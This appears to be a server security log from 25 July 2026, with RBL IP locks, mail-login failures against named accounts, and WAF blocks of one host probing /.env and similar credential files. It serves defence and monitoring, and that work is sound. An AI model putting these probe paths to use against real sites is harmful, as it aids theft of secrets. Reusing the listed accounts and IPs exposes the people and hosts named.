Jul 25 06:38:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 06:39:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.161
country_id: 1814991
description:
Jul 25 06:39:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 25 06:39:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.100.215
country_id: 2921044
description:
Jul 25 06:39:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.100.215 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=atnsl4ug&v=g3891||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.208.58
country_id: 1036973
description:
Jul 25 06:39:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.208.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 06:39:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 06:39:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.93.100.215
country_id: 2921044
description:
2026-07-25 06:39:23 dovecot_login authenticator failed for H=([184.170.249.69]) [142.93.100.215]:45646: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-25 06:39:38 dovecot_login authenticator failed for H=(107-151-229-181.cab.prima.com.ar) [197.219.208.58]:42146: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.49.199.97
country_id: 6252001
description:
Jul 25 06:41:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.49.199.97 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=xw83i3oc&v=27cla||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 06:40:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 06:40:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 206.189.39.63
country_id: 1880251
description:
Jul 25 06:40:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 206.189.39.63 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-25 06:41:02 dovecot_login authenticator failed for H=([146.66.76.174]) [76.49.199.97]:49860: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 06:41:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 06:41:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 06:40:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.228.194
country_id: 1269750
description:
Jul 25 06:41:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.228.194 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.14.47.209
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-42.185.14.47.209||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.95.27.209
country_id: 1861060
description:
Jul 25 06:41:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.95.27.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-25 06:41:14 dovecot_login authenticator failed for H=([117.173.101.132]) [182.95.228.194]:35816: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.240.181
country_id: 2921044
description:
Jul 25 06:41:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.240.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=b2fdegkn&v=sq6l4||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.220
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-41.45.135.228.220||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 06:41:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.223.70
country_id: 1562822
description:
Jul 25 06:41:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.223.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=3t928i0f&v=9qxh3||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.161.242.168
country_id: 1835841
description:
Jul 25 06:42:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.161.242.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=poytyegb&v=qexjs&x=1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 06:44:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 06:43:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 06:43:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 06:43:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 06:43:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.47.240.106
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-43.212.47.240.106||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 06:43:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.138.247.211
country_id: 1814991
description:
Jul 25 06:44:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.138.247.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.107.224
country_id: 3017382
description:
Jul 25 06:44:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.107.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 06:44:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jul 25 06:45:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 06:45:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 25 06:45:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.119.50
country_id: 1814991
description:
Jul 25 06:45:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.119.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 06:46:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 06:47:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.75.99.54
country_id: 1819730
description:
Jul 25 06:46:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.75.99.54 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 140.238.2.250
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-46.140.238.2.250||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 06:46:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 06:46:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 06:46:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.212
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-47.62.112.222.212||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 06:47:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 06:48:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.171.211.213
country_id: 2635167
description:
Jul 25 06:48:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.171.211.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 06:48:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 06:48:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 06:49:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 06:49:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 25 06:48:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 06:48:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 06:48:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 06:49:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 06:49:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.7.26.132
country_id: 3469034
description:
Jul 25 06:49:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.7.26.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.132.42.84
country_id: 3932488
description:
Jul 25 06:50:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.132.42.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 79.133.126.108
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-50.79.133.126.108||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.169.239.198
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-51.193.169.239.198||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 25 06:50:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 06:51:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 06:51:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=dnbitik6&v=m23ri||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 06:52:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 25 06:53:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=uxmbg19b&v=34qc8||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 06:52:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.227.186
country_id: 1814991
description:
Jul 25 06:52:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.227.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 06:52:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 06:53:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.64.246
country_id: 1512440
description:
2026-07-25 06:53:56 dovecot_login authenticator failed for H=([190.57.233.133]) [213.230.64.246]:44820: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 06:54:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 06:53:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.123.50
country_id: 1269750
description:
Jul 25 06:53:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.123.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.230.64.246
country_id: 1512440
description:
Jul 25 06:53:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.230.64.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 06:54:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.28.177.141
country_id: 2017370
description:
Jul 25 06:54:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.28.177.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 06:53:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 06:53:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.211.23.39
country_id: 2017370
description:
Jul 25 06:54:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.211.23.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Jul 25 06:54:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-25 06:54:11 dovecot_login authenticator failed for H=(corporativo.static.gvt.net.br) [203.252.10.3]:34079: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-25 06:53:47 dovecot_login authenticator failed for H=([104.157.40.219]) [182.95.123.50]:44462: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 06:53:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.211.23.39
country_id: 2017370
description:
2026-07-25 06:54:06 dovecot_login authenticator failed for H=([142.54.231.33]) [91.211.23.39]:56966: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.28.177.141
country_id: 2017370
description:
2026-07-25 06:54:11 dovecot_login authenticator failed for H=(domi.static.gvt.net.br) [37.28.177.141]:36168: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 06:54:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.178.146.133
country_id: 1814991
description:
Jul 25 06:54:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.178.146.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.8.226.227
country_id: 2017370
description:
Jul 25 06:54:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.8.226.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.199.113.26
country_id: 3017382
description:
Jul 25 06:54:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.199.113.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.8.226.227
country_id: 2017370
description:
2026-07-25 06:54:39 dovecot_login authenticator failed for H=([141.148.165.230]) [217.8.226.227]:47561: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.220.127.123
country_id: 2921044
description:
Jul 25 06:54:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.220.127.123 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=qe03jw16&v=2itoz||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.200.14
country_id: 1814991
description:
Jul 25 06:54:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.200.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 06:55:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.4.31.215
country_id: 2661886
description:
Jul 25 06:55:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.4.31.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.83
country_id: 1814991
description:
2026-07-25 06:55:51 dovecot_login authenticator failed for H=([98.178.72.4]) [111.26.63.83]:43054: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
